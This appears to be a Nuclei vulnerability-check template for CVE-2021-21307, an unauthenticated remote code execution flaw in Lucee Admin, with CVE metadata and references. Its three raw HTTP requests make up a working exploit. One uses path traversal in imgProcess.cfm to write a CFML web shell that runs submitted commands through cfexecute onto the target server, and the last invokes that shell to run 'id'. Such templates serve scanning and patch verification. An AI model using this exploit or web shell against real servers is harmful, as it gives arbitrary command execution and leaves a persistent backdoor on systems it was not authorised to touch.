id: CVE-2021-21307

info:
  name: Remote Code Exploit in Lucee Admin
  author: dhiyaneshDk
  severity: critical
  description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator.
  reference:
    - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
    - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21307
  tags: cve,cve2021,rce,lucee,adobe
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-21307
    cwe-id: CWE-862

requests:
  - raw:
      - |
        POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        imgSrc=a
      - |
        POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        imgSrc=
        <cfoutput>

        <table>
        <form method="POST" action="">
        <tr><td>Command:</td><td><input type=test name="cmd" size=50
        <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
        <tr><td>Options:</td><td> <input type=text name="opts" size=50
        <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
        <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
        <cfif isdefined("form.timeout")>value="#form.timeout#"
        <cfelse> value="5"</cfif>></td></tr>
        </table>
        <input type=submit value="Exec" >
        </form>
        <cfif isdefined("form.cmd")>
        <cfsavecontent variable="myVar">
        <cfexecute name = "#Form.cmd#"
        arguments = "#Form.opts#"
        timeout = "#Form.timeout#">
        </cfexecute>
        </cfsavecontent>
        <pre>
        #HTMLCodeFormat(myVar)#
        </pre>
        </cfif>
        </cfoutput>

      - |
        POST /lucee/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        cmd=id&opts=&timeout=5

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        part: body
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"